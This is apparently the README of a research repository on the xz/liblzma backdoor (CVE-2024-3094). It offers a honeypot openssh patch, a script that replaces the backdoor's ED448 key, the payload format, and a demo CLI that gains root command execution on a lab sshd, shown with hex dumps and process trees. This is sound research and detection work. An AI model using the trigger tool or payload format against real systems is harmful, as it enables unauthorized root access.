Exploration of the xz backdoor (CVE-2024-3094). Includes the following:
- honeypot: fake vulnerable server to detect exploit attempts
- ed448 patch: patch liblzma.so to use our own ED448 public key
- backdoor format: format of the backdoor payload
- backdoor demo: cli to trigger the RCE assuming knowledge of the ED448 private key
See openssh.patch for a simple patch to openssh that logs any connection attempt with a public key N matching the backdoor format.
$ git clone https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ autoreconf
$ ./configure
$ make
Any connection attempt will appear as follows in sshd logs:
$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...
The backdoor uses a hardcoded ED448 public key for signature validation and decrypting the payload. If we replace this key with our own, we can trigger the backdoor.
The attacker's ED448 key is:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00
We will replace this key with our own (generated with seed=0):
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
To start, download a backdoored libxzma shared object, e.g. from https://snapshot.debian.org/package/xz-utils/5.6.1-1. Then run the patch script. See assets/ for examples.
$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch
Then run sshd using this modified liblzma.so.5.6.1.patch shared object.
The backdoor can be triggered by connecting with an SSH certificate with a payload in the CA signing key N value. This payload must be encrypted and signed with the attacker's ED448 key.
The structure has the following format:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| cmd1 (32 bit) | cmd2 (32 bit) | cmd3 (64 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ ciphertext (240 bytes) +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
A command byte is derived from the three magic values above (cmd1 * cmd2 + cmd3).
If this value is greater than 3, the backdoor skips processing.
The ciphertext is encrypted with chacha20 using the first 32 bytes of the ED448 public key as a symmetric key. As a result, we can decrypt any exploit attempt using the following key:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
The ciphertext has the following format:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| signature (114 bytes) | command \x00 | padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The signature is an RFC-8032 ED448 signature computed over the following values:
- The first 4 bytes of the header (i.e. cmd1)
- The first 5 bytes of the command
- The first 32 bytes of the sha256 hash of the server's hostkey
$ go install github.com/amlweems/xzbot@latest
$ xzbot -h
Usage of xzbot:
-addr string
ssh server address (default "127.0.0.1:2222")
-seed string
ed448 seed, must match xz backdoor key (default "0")
-cmd string
command to run via system() (default "id > /tmp/.xz")
The following will connect to a vulnerable SSH server at 127.0.0.1:2222 and
run the command id > /tmp/.xz:
$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert|
00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |[email protected]|
00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.|
00000170 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00 00 |................|
00000180 00 00 00 00 00 00 00 00 54 97 bc c5 ef 93 e4 24 |........T......$|
00000190 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52 |..WWY.R.A*.T...R|
000001a0 58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29 |Xd..E..v....|..)|
000001b0 2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f |+.8E?^..........|
000001c0 0f 5f 50 36 07 9f bd 07 05 77 5c 74 84 69 c9 7a |._P6.....w\t.i.z|
000001d0 28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c |(k....4....\..J<|
000001e0 d8 2b 39 32 06 d9 4f a4 3a 00 d0 0b 0f a2 21 c0 |.+92..O.:.....!.|
000001f0 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be |........T...L@..|
00000200 91 9a 2b f8 0b 18 61 1c 5e e1 e0 5b e8 00 00 00 |..+...a.^..[....|
00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................|
00000280 73 73 68 2d 72 73 61 00 00 00 01 00 |ssh-rsa.....|
2024/03/30 00:00:00 ssh: handshake failed: EOF
On the vulnerable server, we can set a watchpoint for the call to system()
and observe the command is executed:
$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz
$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)
The process tree after exploitation looks different from a normal sshd process tree:
# normal process tree
$ ssh foo@bar
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1026 765 7 18:51 ? 00:00:00 \_ sshd: foo [priv]
foo 1050 1026 0 18:51 ? 00:00:00 \_ sshd: foo@pts/1
foo 1051 1050 0 18:51 pts/1 00:00:00 \_ -bash
# backdoor process tree
$ xzbot -cmd 'sleep 60'
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 941 765 4 18:04 ? 00:00:00 \_ sshd: root [priv]
sshd 942 941 0 18:04 ? 00:00:00 \_ sshd: root [net]
root 943 941 0 18:04 ? 00:00:00 \_ sh -c sleep 60
root 944 943 0 18:04 ? 00:00:00 \_ sleep 60
Note: successful exploitation does not generate any INFO or higher log entries.